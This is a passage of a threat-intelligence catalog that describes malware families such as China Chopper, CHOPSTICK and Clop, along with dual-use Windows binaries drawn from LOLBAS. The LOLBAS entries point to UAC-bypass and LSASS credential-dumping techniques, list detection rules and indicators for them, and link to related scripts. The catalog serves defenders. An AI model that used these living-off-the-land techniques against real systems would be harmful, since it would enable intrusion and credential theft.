[China Chopper](https://app.tidalcyber.com/software/723c5ab7-23ca-46f2-83bb-f1d1e550122c) is a [Web Shell](https://app.tidalcyber.com/technique/05a5318f-476d-44c1-8a85-9466295d31dd) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.^{[[Lee 2013](https://app.tidalcyber.com/references/6d1e2b0a-fed2-490b-be25-6580dfb7d6aa)]} It has been used by several threat groups.^{[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-5a92f05bebae)]}^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}^{[[CISA AA21-200A APT40 July 2021](https://app.tidalcyber.com/references/3a2dbd8b-54e3-406a-b77c-b6fae5541b6d)]}^{[[Rapid7 HAFNIUM Mar 2021](https://app.tidalcyber.com/references/cf05d229-c2ba-54f2-a79d-4b7c9185c663)]}

The tag is: *misp-galaxy:software="China Chopper"*

Chinoxy

[Chinoxy](https://app.tidalcyber.com/software/7c36563a-9143-4766-8aef-4e1787e18d8c) is a backdoor that has been used since at least November 2018, during the [FunnyDream](https://app.tidalcyber.com/campaigns/94587edf-0292-445b-8c66-b16629597f1e) campaign, to gain persistence and drop additional payloads. According to security researchers, [Chinoxy](https://app.tidalcyber.com/software/7c36563a-9143-4766-8aef-4e1787e18d8c) has been used by Chinese-speaking threat actors.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]}

The tag is: *misp-galaxy:software="Chinoxy"*

Chisel

Chisel is an open source tool that can be used for networking tunneling.^{[[U.S. CISA AvosLocker October 11 2023](/references/d419a317-6599-4fc5-91d1-a4c2bc83bf6a)]} According to its GitHub project page, "Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH".^{[[GitHub Chisel](/references/4a60fb46-06b7-44ea-a9f6-8d6fa81e9363)]} Threat actors including ransomware operators and nation-state-aligned espionage actors have used Chisel as part of their operations.^{[[U.S. CISA AvosLocker October 11 2023](/references/d419a317-6599-4fc5-91d1-a4c2bc83bf6a)]}^{[[CISA AA20-259A Iran-Based Actor September 2020](/references/1bbc9446-9214-4fcd-bc7c-bf528370b4f8)]}

The tag is: *misp-galaxy:software="Chisel"*

chmod

In Unix and Unix-like operating systems, chmod is the command and system call used to change the access permissions and the special mode flags (the setuid, setgid, and sticky flags) of file system objects (files and directories).^{[[Wikimedia Foundation Inc. April 27 2002](/references/0f41244c-ff31-4401-954b-701bfddae458)]}

The tag is: *misp-galaxy:software="chmod"*

Chocolatey

Chocolatey is a command-line package manager for Microsoft Windows.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Chocolatey"*

CHOPSTICK

[CHOPSTICK](https://app.tidalcyber.com/software/01c6c49a-f7c8-44cd-a377-4dfd358ffeba) is a malware family of modular backdoors used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. ^{[[FireEye APT28](https://app.tidalcyber.com/references/c423b2b2-25a3-4a8d-b89a-83ab07c0cd20)]} ^{[[ESET Sednit Part 2](https://app.tidalcyber.com/references/aefb9eda-df5a-437f-af2a-ec1b6c04628b)]} ^{[[FireEye APT28 January 2017](https://app.tidalcyber.com/references/61d80b8f-5bdb-41e6-b59a-d2d996392873)]} ^{[[DOJ GRU Indictment Jul 2018](https://app.tidalcyber.com/references/d65f371b-19d0-49de-b92b-94a2bea1d988)]} It is tracked separately from the [X-Agent for Android](https://app.tidalcyber.com/software/).

The tag is: *misp-galaxy:software="CHOPSTICK"*

ChromeLoader

ChromeLoader is a "browser hijacking" malware that is capable of adjusting victim web browser settings and in order to redirect user traffic to advertisement websites. ChromeLoader is notable for using a relatively uncommon technique whereby PowerShell is leveraged to inject the malware into the browser and add a malicious extension to it.^{[[Red Canary May 25 2022](/references/bffc87ac-e51b-47e3-8a9f-547e762e95c2)]}

The tag is: *misp-galaxy:software="ChromeLoader"*

Chrommme

[Chrommme](https://app.tidalcyber.com/software/df77ed2a-f135-4f00-9a5e-79b7a6a2ed14) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with

[Gelsemium](https://app.tidalcyber.com/software/9a117508-1d22-4fea-aa65-db670c13a5c9) malware.^{[[ESET Gelsemium June 2021](https://app.tidalcyber.com/references/ea28cf8c-8c92-48cb-b499-ffb7ff0e3cf5)]}

The tag is: *misp-galaxy:software="Chrommme"*

Cicada3301

A ransomware binary used by the ransomware-as-a-service ("RaaS") group of the same name, which was first observed in June 2024. This ransomware is written in Rust and can run on Windows and Linux/ESXi hosts. Researchers have highlighted several notable overlaps between Cicada3301 and ALPHV/BlackCat ransomware.^{[[Truesec AB August 30 2024](/references/de2de0a9-17d2-41c2-838b-7850762b80ae)]}^{[[Morphisec September 3 2024](/references/90549699-8815-45e8-820c-4f5a7fc584b8)]}

The tag is: *misp-galaxy:software="Cicada3301"*

Cipher

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: File Encryption Utility

Author: Adetutu Ogunsowo

Paths: * c:\windows\system32\cipher.exe * c:\windows\syswow64\cipher.exe

Resources: * https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/

Detection: * IOC: cipher.exe process with /w on the command line^{[[Cipher.exe - LOLBAS Project](/references/3c8f87b6-655c-4e3b-ab0b-f626aac2afad)]}

The tag is: *misp-galaxy:software="Cipher"*

cipher.exe

[cipher.exe](https://app.tidalcyber.com/software/3927db0c-407d-5f37-9acd-eb4dfa2c3381) is a native Microsoft utility that manages encryption of directories and files on NTFS (New Technology File System) partitions by using the Encrypting File System (EFS).^{[[cipher.exe](https://app.tidalcyber.com/references/14ca40cd-e672-5385-9f0d-0a68531f428b)]}

The tag is: *misp-galaxy:software="cipher.exe"*

Clambling

[Clambling](https://app.tidalcyber.com/software/4bac93bd-7e58-4ddb-a205-d99597b9e65e) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) since at least 2017.^{[[Trend Micro DRBControl February 2020](https://app.tidalcyber.com/references/4dfbf26d-023b-41dd-82c8-12fe18cb10e6)]}

The tag is: *misp-galaxy:software="Clambling"*

CL_Invocation

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Aero diagnostics script

Author: Oddvar Moe

Paths: * C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 * C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1 * C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1

Resources:

Detection: * Sigma: [proc_creation_win_lolbin_cl_invocation.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml) * Sigma: [posh_ps_cl_invocation_lolscript.yml]([CL_Invocation.ps1 - LOLBAS Project(/references/a53e093a-973c-491d-91e3-bc7804d87b8b)]</sup>

The tag is: *misp-galaxy:software="CL_Invocation"*

CL_LoadAssembly

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: PowerShell Diagnostic Script

Author: Jimmy (@bohops)

Paths: * C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1

Resources: * [https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-

powershell-diagnostic-scripts/](https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/)

Detection: * Sigma: [proc_creation_win_lolbas_cl_loadassembly.yml]([CL_LoadAssembly.ps1 - LOLBAS Project(/references/31a14027-1181-49b9-87bf-78a65a551312)]</sup>

The tag is: *misp-galaxy:software="CL_LoadAssembly"*

CL_Mutexverifiers

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Proxy execution with CL_Mutexverifiers.ps1

Author: Oddvar Moe

Paths: * C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1 * C:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.ps1 * C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1 * C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1 * C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1

Resources: * https://twitter.com/pabraeken/status/995111125447577600

Detection: * Sigma: [proc_creation_win_lolbin_cl_mutexverifiers.yml]([CL_Mutexverifiers.ps1 - LOLBAS Project(/references/75b89502-21ed-4920-95cc-212eaf17f281)]</sup>

The tag is: *misp-galaxy:software="CL_Mutexverifiers"*

Clop

[Clop](https://app.tidalcyber.com/software/5321aa75-924c-47ae-b97a-b36f023abf2a) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://app.tidalcyber.com/software/5321aa75-924c-47ae-b97a-b36f023abf2a) is a variant of the CryptoMix ransomware.^{[[Mcafee Clop Aug 2019](https://app.tidalcyber.com/references/458141bd-7dd2-41fd-82e8-7ea2e4a477ab)]}^{[[Cybereason Clop Dec 2020](https://app.tidalcyber.com/references/f54d682d-100e-41bb-96be-6a79ea422066)]}^{[[Unit42 Clop April 2021](https://app.tidalcyber.com/references/ce48d631-757c-480b-8572-b7d9f4d738c6)]}

The tag is: *misp-galaxy:software="Clop"*

CloudChat Infostealer

CloudChat Infostealer is an information-stealing malware designed to harvest passwords, cookies, and other sensitive information from macOS systems.^{[[Kandji 4 8 2024](/references/f2e74613-f578-4408-bc76-144ec671808b)]}

The tag is: *misp-galaxy:software="CloudChat Infostealer"*

CloudDuke

[CloudDuke](https://app.tidalcyber.com/software/b3dd424b-ee96-449c-aa52-abbc7d4dfb86) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) in 2015. ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]} ^{[[Securelist Minidionis July 2015](https://app.tidalcyber.com/references/af40a05e-02fb-4943-b3ff-9a292679e93d)]}

The tag is: *misp-galaxy:software="CloudDuke"*

Cloudflared

Cloudflared is a tool known to be abused by adversaries for the purposes of "securely" exposing applications, services, or servers to the internet via Cloudflare Tunnel in order to help evade detection.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="Cloudflared"*

cmd

[cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. ^{[[TechNet Cmd](https://app.tidalcyber.com/references/dbfc01fe-c300-4c27-ab9a-a20508c1e04b)]}

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> ^{[[TechNet Dir](https://app.tidalcyber.com/references/f1eb8631-6bea-4688-a5ff-a388b1fdceb0)]}), deleting files (e.g., <code>del</code> ^{[[TechNet Del](https://app.tidalcyber.com/references/01fc44b9-0eb3-4fd2-b755-d611825374ae)]}), and copying files (e.g., <code>copy</code> ^{[[TechNet Copy](https://app.tidalcyber.com/references/4e0d4b94-6b4c-4104-86e6-499b6aa7ba78)]}).

The tag is: *misp-galaxy:software="cmd"*

Cmdkey

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: creates, lists, and deletes stored user names and passwords or credentials.

Author: Oddvar Moe

Paths: * C:\Windows\System32\cmdkey.exe * C:\Windows\SysWOW64\cmdkey.exe

Resources: * https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation * https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey

Detection: * Sigma: [proc_creation_win_cmdkey_recon.yml]([Cmdkey.exe - LOLBAS Project(/references/c9ca075a-8327-463d-96ec-adddf6f1a7bb)]</sup>

The tag is: *misp-galaxy:software="Cmdkey"*

cmdl32

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Connection Manager Auto-Download

Author: Elliot Killick

Paths: * C:\Windows\System32\cmdl32.exe * C:\Windows\SysWOW64\cmdl32.exe

Resources: * https://github.com/LOLBAS-Project/LOLBAS/pull/151 * https://twitter.com/ElliotKillick/status/1455897435063074824 * https://elliotonsecurity.com/living-off-the-land-reverse-engineering-methodology-plus-tips-and-tricks-cmdl32-case-study/

Detection: * Sigma: [proc_creation_win_lolbin_cmdl32.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml) * IOC: Reports of downloading from suspicious URLs in %TMP%\config.log * IOC: Useragent Microsoft® Connection Manager Vpn File Update^{[[cmdl32.exe - LOLBAS Project](/references/2628e452-caa1-4058-a405-7c4657fa3245)]}

The tag is: *misp-galaxy:software="cmdl32"*

Cmstp

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Installs or removes a Connection Manager service profile.

Author: Oddvar Moe

Paths: * C:\Windows\System32\cmstp.exe * C:\Windows\SysWOW64\cmstp.exe

Resources: * https://twitter.com/NickTyrer/status/958450014111633408 * https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80 * https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e * https://oddvar.moe/2017/08/15/research-on-cmstp-exe/ * https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 * https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

Detection: * Sigma: [proc_creation_win_cmstp_execution_by_creation.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml) * Sigma: [proc_creation_win_uac_bypass_cmstp.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml) * Splunk: [cmlua_or_cmstplua_uac_bypass.yml](https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * IOC: Execution of cmstp.exe without a VPN use case is suspicious * IOC: DotNet CLR libraries loaded into cmstp.exe * IOC: DotNet CLR Usage Log - cmstp.exe.log^{[[Cmstp.exe - LOLBAS Project](/references/86c21dcd-464a-4870-8aae-25fcaccc889d)]}

The tag is: *misp-galaxy:software="Cmstp"*

COATHANGER

[COATHANGER](https://app.tidalcyber.com/software/fbd3f71a-e123-5527-908c-9e7ea0d646e8) is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, [COATHANGER](https://app.tidalcyber.com/software/fbd3f71a-e123-5527-908c-9e7ea0d646e8) was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. [COATHANGER](https://app.tidalcyber.com/software/fbd3f71a-e123-5527-908c-9e7ea0d646e8) is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name [COATHANGER](https://app.tidalcyber.com/software/fbd3f71a-e123-5527-908c-9e7ea0d646e8) is based on a unique string in the malware used to encrypt configuration files on disk: <code>"She took his coat and hung it up"</code>.^{[[NCSC-NL COATHANGER Feb 2024](https://app.tidalcyber.com/references/e8e60112-a08d-5316-b80f-f601e7e5c973)]}

The tag is: *misp-galaxy:software="COATHANGER"*

Cobalt Strike

[Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6) is a commercial, full-featured, remote access tool that bills itself as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors". Cobalt Strike's interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.^{[[cobaltstrike manual](https://app.tidalcyber.com/references/43277d05-0aa4-4cee-ac41-6f03a49851a9)]}

In addition to its own capabilities, [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz]([cobaltstrike manual(https://app.tidalcyber.com/references/43277d05-0aa4-4cee-ac41-6f03a49851a9)]</sup>

The tag is: *misp-galaxy:software="Cobalt Strike"*

Cobalt Strike Random C2 Profile Generator

This is an open-source tool for creating Cobalt Strike Malleable C2 profiles with randomly generated variables.^{[[GitHub random_c2_profile](/references/dcb30328-6aa4-461b-8333-451d6af4b384)]} According to a September 2023 CERT-FR advisory, during an intrusion in March 2023, actors attributed to FIN12 used the tool to generate a Cobalt Strike malleable C2 profile.^{[[CERTFR-2023-CTI-007](/references/0f4a03c5-79b3-418e-a77d-305d5a32caca)]}

The tag is: *misp-galaxy:software="Cobalt Strike Random C2 Profile Generator"*

Cobian RAT

[Cobian RAT](https://app.tidalcyber.com/software/d4e6f9f7-7f4d-47c2-be24-b267d9317303) is a backdoor, remote access tool that has been observed since 2016.<sup>[[Zscaler Cobian Aug

2017](https://app.tidalcyber.com/references/46541bb9-15cb-4a7c-a624-48a1c7e838e3)]</sup>

The tag is: *misp-galaxy:software="Cobian RAT"*

code

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: VSCode binary, also portable (CLI) version

Author: PfiatDe

Paths: * %LOCALAPPDATA%\Programs\Microsoft VS Code\Code.exe * C:\Program Files\Microsoft VS Code\Code.exe * C:\Program Files (x86)\Microsoft VS Code\Code.exe

Resources: * https://badoption.eu/blog/2023/01/31/code_c2.html * https://code.visualstudio.com/docs/remote/tunnels * https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

Detection: * IOC: Websocket traffic to global.rel.tunnels.api.visualstudio.com * IOC: Process tree: code.exe → cmd.exe → node.exe → winpty-agent.exe * IOC: File write of code_tunnel.json which is parametizable, but defaults to: %UserProfile%\.vscode-cli\code_tunnel.json^{[[code.exe - LOLBAS Project](/references/4a93063b-f3a3-4726-870d-b8f744651363)]}

The tag is: *misp-galaxy:software="code"*

CoinTicker

[CoinTicker](https://app.tidalcyber.com/software/b0d9b31a-072b-4744-8d2f-3a63256a932f) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.^{[[CoinTicker 2019](https://app.tidalcyber.com/references/99c53143-6f93-44c9-a874-c1b9e4506fb4)]}

The tag is: *misp-galaxy:software="CoinTicker"*

Colorcpl

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary that handles color management

Author: Arjan Onwezen

Paths: * C:\Windows\System32\colorcpl.exe * C:\Windows\SysWOW64\colorcpl.exe

Resources: * https://twitter.com/eral4m/status/1480468728324231172

Detection: * Sigma: [file_event_win_susp_colorcpl.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml) * IOC: colorcpl.exe writing files^{[[Colorcpl.exe - LOLBAS Project](/references/53ff662d-a0b3-41bd-ab9e-a9bb8bbdea25)]}

The tag is: *misp-galaxy:software="Colorcpl"*

Comnie

[Comnie](https://app.tidalcyber.com/software/341fc709-4908-4e41-8df3-554dae6d72b0) is a remote backdoor which has been used in attacks in East Asia. ^{[[Palo Alto Comnie](https://app.tidalcyber.com/references/ff3cc105-2798-45de-8561-983bf57eb9d9)]}

The tag is: *misp-galaxy:software="Comnie"*

ComputerDefaults

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.

Author: Eron Clarke

Paths: * C:\Windows\System32\ComputerDefaults.exe * C:\Windows\SysWOW64\ComputerDefaults.exe

Resources: * https://gist.github.com/havoc3-3/812547525107bd138a1a839118a3a44b

Detection: * IOC: Event ID 10 * IOC: A binary or script spawned as a child process of ComputerDefaults.exe * IOC: Changes to HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command * Sigma: [proc_creation_win_uac_bypass_computerdefaults.yml]([ComputerDefaults.exe - LOLBAS Project](/references/48a081b8-18ff-43b8-ba95-5856aacc6afa)]</sup>

The tag is: *misp-galaxy:software="ComputerDefaults"*

ComRAT

[ComRAT](https://app.tidalcyber.com/software/300c5997-a486-4a61-8213-93a180c22849) is a second

stage implant suspected of being a descendant of [Agent.btz](https://app.tidalcyber.com/software/f27c9a91-c618-40c6-837d-089ba4d80f45) and used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2). The first version of [ComRAT](https://app.tidalcyber.com/software/300c5997-a486-4a61-8213-93a180c22849) was identified in 2007, but the tool has undergone substantial development for many years since.^{[[Symantec Waterbug](https://app.tidalcyber.com/references/ec02f951-17b8-44cb-945a-e5c313555124)]}^{[[NorthSec 2015 GData Uroburos Tools](https://app.tidalcyber.com/references/99e2709e-a32a-4fbf-a20a-ffcdd8befdc8)]}^{[[ESET ComRAT May 2020](https://app.tidalcyber.com/references/cd9043b8-4d14-449b-a6b2-2e9b99103bb0)]}

The tag is: *misp-galaxy:software="ComRAT"*

Comsvcs

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: COM+ Services

Author: LOLBAS Team

Paths: * c:\windows\system32\comsvcs.dll

Resources: * https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

Detection: * Sigma: [proc_creation_win_rundll32_process_dump_via_comsvcs.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml) * Sigma: [proc_access_win_lsass_dump_comsvcs_dll.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml) * Elastic: [credential_access_cmdline_dump_tool.toml](https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml) * Splunk: [dump_lsass_via_comsvcs_dll.yml]([Comsvcs.dll - LOLBAS Project(/references/2eb2756d-5a49-4df3-9e2f-104c41c645cd)]</sup>

The tag is: *misp-galaxy:software="Comsvcs"*

Conficker

[Conficker](https://app.tidalcyber.com/software/ef33f1fa-18a3-4b30-b359-17b7930f43a7) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.^{[[SANS Conficker](https://app.tidalcyber.com/references/2dca2274-5f25-475a-b87d-97f3e3a525de)]} In 2016, a variant of

[Conficker](https://app.tidalcyber.com/software/ef33f1fa-18a3-4b30-b359-17b7930f43a7) made its way on computers and removable disk drives belonging to a nuclear power plant.^{[[Conficker Nuclear Power Plant](https://app.tidalcyber.com/references/83b8c3c4-d67a-48bd-8614-1c703a8d969b)]}

The tag is: *misp-galaxy:software="Conficker"*

ConfigSecurityPolicy

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Author: Ialle Teixeira

Paths: * C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe * C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

Resources: * https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads * https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads * https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor * https://twitter.com/NtSetDefault/status/1302589153570365440?s=20

Detection: * Sigma: [proc_creation_win_lolbin_configsecuritypolicy.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml) * IOC: ConfigSecurityPolicy storing data into alternate data streams. * IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS. * IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe. * IOC: User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"^{[[ConfigSecurityPolicy.exe - LOLBAS Project](/references/30b8a5d8-596c-4ab3-b3db-b799cc8923e1)]}

The tag is: *misp-galaxy:software="ConfigSecurityPolicy"*

Conhost

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Console Window host

Author: Wietze Beukema

Paths: * c:\windows\system32\conhost.exe

Resources: * https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/ * https://twitter.com/Wietze/status/1511397781159751680 * https://twitter.com/embee_research/status/1559410767564181504 * https://twitter.com/ankit_anubhav/status/1561683123816972288

Detection: * IOC: conhost.exe spawning unexpected processes * Sigma: [proc_creation_win_conhost_susp_child_process.yml]([Conhost.exe - LOLBAS Project(/references/5ed807c1-15d1-48aa-b497-8cd74fe5b299)]</sup>

The tag is: *misp-galaxy:software="Conhost"*

ConnectWise

[ConnectWise](https://app.tidalcyber.com/software/6f9bb24d-cce2-49de-bedd-1849d9bde7a0) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) and [GOLD SOUTHFIELD](https://app.tidalcyber.com/groups/b4d068ac-9b68-4cd8-bf0c-019f910ef8e3) to connect to and conduct lateral movement in target environments.^{[[Anomali Static Kitten February 2021](https://app.tidalcyber.com/references/710ed789-de1f-4601-a8ba-32147827adcb)]}^{[[Trend Micro Muddy Water March 2021](https://app.tidalcyber.com/references/16b4b834-2f44-4bac-b810-f92080c41f09)]}

The tag is: *misp-galaxy:software="ConnectWise"*

Conti

